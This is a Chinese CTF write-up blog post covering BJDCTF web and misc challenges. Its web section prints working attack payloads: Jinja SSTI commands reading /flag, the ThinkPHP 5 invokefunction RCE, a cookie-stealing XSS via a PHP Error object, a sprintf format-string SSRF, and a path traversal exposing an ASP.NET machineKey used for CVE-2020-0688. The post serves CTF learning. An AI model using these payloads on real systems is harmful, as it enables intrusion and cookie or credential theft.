BJDCTF复现

web

fake google

在这里插入图片描述
显然,这是一个SSTI,直接上payload

?name={{config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
?name={{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}

old-hack

打开界面,有一个thinkphp5
在这里插入图片描述
但不确定版本是多少,先GET一个5.0.0的payload过去:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
于是看得到ThinkPHP版本
在这里插入图片描述
于是POST一个payload过去就行了:
在这里插入图片描述

duangShell

点进去看到一个.swap,可能有源码泄露,改文件目录为.index.php.swp,果然下载了一个swp文件。
swp文件是由于vim强制退出时所形成的临时文件,在linux系统下利用命令vi -r index.php.swp即可查看源码:

<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
}
else{
    $girl = $_POST['girl_friend'];
    if (preg_match('/\>|\\\/', $girl)) {
        die('just girl');
    } else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
        echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    } else {
        //duangShell~~~~
        exec($girl);
    }
}
?>

反弹shell,然后用find命令找到flag即可。
(复现的时候弹不到shell,很迷

Schrödinger

看网页源码会发现有一段白色字体:
在这里插入图片描述将该网页输入框中进行爆破,发现它涨的很慢。
查看cookie,发现一串base64,
在这里插入图片描述
解码发现是一串数字。其实这是时间戳,只要把这里的cookie清空再刷新页面就会发现它无线接近100了
在这里插入图片描述
此时直接check一下,发现是b站的av号,在视频评论区从后面往前找一下就能找到flag。

假猪套天下第一

点进去,发现是登陆界面,用bp抓包然后查看repeater,发现
在这里插入图片描述
点进去,界面告诉我们要99年之后才能查看。在cookie里发现一个名为time的cookie,里面是时间戳。直接把时间往后调然后发送时间戳即可。
界面又告诉我们要localhost才能访问
在这里插入图片描述
而且提示XFF头没用,要用Client-IP。然后添加referer头,改变UA。
在这里插入图片描述
查找commodo 64的时候提示我们是否在查找commodore 64,将这个填入UA处。又根据提示添加了from头和via头之后终于看到了flag
在这里插入图片描述

XSS之光

点进去,没有提示任何输入,其他网页也会被重定向回该页面。试了试git源码泄露,代码如下:

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
?>

结合题目里的XSS,说明这是要我们用PHP的原生类来构造序列化。
payload如下:

<?php
$a = serialize(new Error("<script>window.location.href='xxx'+document.cookie</script>)"));
echo $a;
?>

运行之后把得出的值GET过去,即可在cookie处看到flag。

elementmaster

脑洞题,提示有:元素周期表+图片名叫mendeleev.jpg+门捷列夫的俄语名和国旗+源码的里id合起来转字符串为Po.php+现场提示。
把元素周期表作为一个字典,跑一下,再把所有文件里的文本拼在一起,就是一个文件名,里面就是flag。

import requests

url = "http://a48eb052-ee98-4f95-82d0-870b0189b4b0.node3.buuoj.cn/"
element = ('H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
           'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
           'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
           'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
           'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
           'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
           'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue')
string = ""
for i in element:
    new_url = url+i+".php"
    source = requests.get(new_url)
    if(source.status_code==200):
        string += source.text
    else:
        continue
    print string

文件探测

在header处藏了一个hint
在这里插入图片描述
跳转后看到
在这里插入图片描述
可以用php伪协议读取文件。注意的是不能有文件后缀,读取的system.php的php部分文件如下:

<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
    echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
    header("Refresh:0.1;url=index.php");
    die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
    $url = $_POST['q2'].".y1ng.txt";
    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

    echo $str1;

    if (!preg_match($filter1, $url) ){
        die($str2);
    }
    if (preg_match($filter2, $url)) {
        die($str3);
    }
    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
        die($str4);
    }
    $detect = @file_get_contents($url, false);
    print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

分析可得有格式化字符串漏洞(PWN爷爷救我),payload如下:q1=123&q2=http://127.0.0.1/admin.php?A$3d&q3=GET%s%
可以得到admin.php代码如下:

<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
    $method = 'AES-128-CBC';
    $iv = md5($_SERVER['REMOTE_ADDR'],true);
    return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
    if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
        return true;
    else
        return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    highlight_file(__FILE__);
} else {
    echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}

$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
    $decr = $_GET['decrypt'];
    if (Check()){
        $data = $_SESSION['secret'];
        include 'flag_2sln2ndln2klnlksnf.php';
        $cipher = aesEn($data, 'y1ng');
        if ($decr === $cipher){
            echo WHAT_YOU_WANT;
        } else {
            die('爬');
        }
    } else{
        header("Refresh:0.1;url=index.php");
    }
} else {
    //I heard you can break PHP mt_rand seed
    mt_srand(rand(0,9999999));
    $length = mt_rand(40,80);
    $_SESSION['secret'] = bin2hex(random_bytes($length));
}
?>

关键部分在于$decr === $cipher。wp上将PHPSSID删除,然后将aesEn函数的data变量为空,key为y1ng,$_SERVER['REMOTE_ADDR']换为自己的IP,然后本地执行一遍,将得到的值赋给decrypt并用GET方法传过去即可得到flag。

EasyAspDotNet

F12打开,发现隐藏了两个参数。暂时还不知道有什么作用,先不管他。
点击按钮,看到img处有有一个path参数,猜测有文件读取
在这里插入图片描述
改变文件名输入地址栏中,发现报错:
在这里插入图片描述
可以看到有个web.config文件,该文件用来储存ASP.NETWeb的相关配置,而且在网站的根目录下。
但我们用path参数无法读取该文件,此时,可以用命令curl -v "http://d7912e47-76ef-4b4b-805d-fa194481a52e.node3.buuoj.cn/ImgLoad.aspx?path=../../web.config"进行读取。
文件内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>

此时就涉及到了一个漏洞:CVE-2020-0688。这题是该漏洞的一个利用方法,参考文章如下:https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/
按照它的步骤即可RCE。最终得到flag。

misc

最简单的misc

zip伪加密,把图中的09改成00即可
在这里插入图片描述
可以看到有个IHDR,说明这是一个.png文件,但是少了文件头,我们在Hex部分补上89504E470D0A1A0A,然后把后缀改成.png即可看到一串16进制,解码即为flag

A_Beautiful_Picture

修改高度即可

小姐姐

图片中有明显错位,ASCII搜索BJD即可得到flag
在这里插入图片描述
(这个我是真的没想到这么简单,做出来的人也不是最多的,太神奇了

EasyBaBa

用010打开,发现个压缩包
在这里插入图片描述
改后缀,解压,发现有个不能显示的图片,再用010打开
在这里插入图片描述
猜测是视频文件,于是改后缀,打开视频。发现中间插入了很多图片,而且有二维码。
抽帧,用ffmpeg,使用方法如下:

ffmpeg -i video_name.mp4 -vf select='eq(pict_type\,I)' -vsync 2 -s 1920*1080 -f image2 core-%02d.jpeg

-i :输入文件,这里的话其实就是视频,
-vf:是一个命令行,表示过滤图形的描述, 选择过滤器select会选择帧进行输出:包括过滤器常量
pict_type和对应的类型:PICT_TYPE_I 表示是I帧,即关键帧。
-vsync 2:阻止每个关键帧产生多余的拷贝
-f image2 name_%02d.jpeg:将视频帧写入到图片中,样式的格式一般是:
“%d” 或者 “%0Nd”
-s:分辨率,1920*1080

然后找到关键的几帧,修复二维码后扫二维码得到16进制,解码之后看到一串疑似栅栏密码的字符串。重新排列组合顺序即可得到flag。
(不会修二维码,扫不出来,好气啊

Real_EasyBaBa

010打开,发现压缩文件
在这里插入图片描述
然后把里面的压缩文件数据复制出来,粘贴在新的hex文件里,并转格式为.zip格式。
解压,发现hint文件,用010editor打开,发现神似一个二维码,扫码。
发现命令:

od -vtx1 ./draw.png | head -56 | tail -28

执行,得到一个由00和ff两种字节组成的hex文件,去掉00即可看到flag
(二维码又没扫出来,气)

圣火昭昭

下载下来,打开属性,发现有个新佛曰,搜索解密网站解密后得到:gemlovecom,题目提示我们去掉com,于是我们得到了密码,而且题目提示我们猜密码,可能是outguess隐写,输入命令outguess -k gemlove -r a.jpg -t flag.txt后得到flag。
(不知道是outguess密码,涨姿势了

TARGZ

file文件告诉我们这是zip文件。
在这里插入图片描述
发现需要密码。没有发现伪加密,题目又提示我们不用爆破,其他地方也没找到密码。于是用文件名当密码解密。循环解密即可。下面是我自己写的脚本,在linux新建一个文件夹,把该脚本和解压缩的文件放在该文件夹下即可

# -*- coding:utf-8 -*-
#BJDCTF 套娃
import os

path = "/home/sniper/Downloads/unzip/"

while True:#最后的flag文件名为flag,没有后缀,在切割文件名时会发生错误,自动退出
    files = os.listdir(path)
    file = files[0]
    file_split = file.split(".",1)
    filename = file_split[0]
    type = file_split[1]
    if filename =="unzip":#我的脚本名字叫unzip.py,该语句用来防止选中我的脚本
        try:
            file = files[1]
            file_split = file.split(".",1)
            filename = file_split[0]
            type = file_split[1]
        except:
            file = files[0]
            file_split = file.split(".",1)
            filename = file_split[0]
            type = file_split[1]
    os.system("mv "+file+" "+filename+".zip")
    os.system("unzip -P "+filename+" "+filename+".zip")
    os.system("rm -rf "+filename+".zip")

再把wp的脚本贴一下:

#www.gem-love.com
#decompress.py
import os
import filetype
import time
 
while 1:
	aa = os.popen('ls')
	filename = aa.read().replace('decompress.py','').replace('\n', '')
	a = filename.replace('.tar.gz', '')
	kind = filetype.guess(filename)
	if kind.extension is 'zip':
		os.system("mv {} {}.zip|unzip -P {} {}.zip".format(filename, a, a, a))
		os.system("rm *.zip")
		time.sleep(0.1)
	else:
		print('解压完成')
		break

Imagin

以前很火的一个东西,不同键位有不同声音,听出来就行了
(这谁知道啊)
原版网站:http://taqini.space/mikutap/

发布了37 篇原创文章 · 获赞 2 · 访问量 1415

猜你喜欢

转载自blog.csdn.net/weixin_44377940/article/details/105070787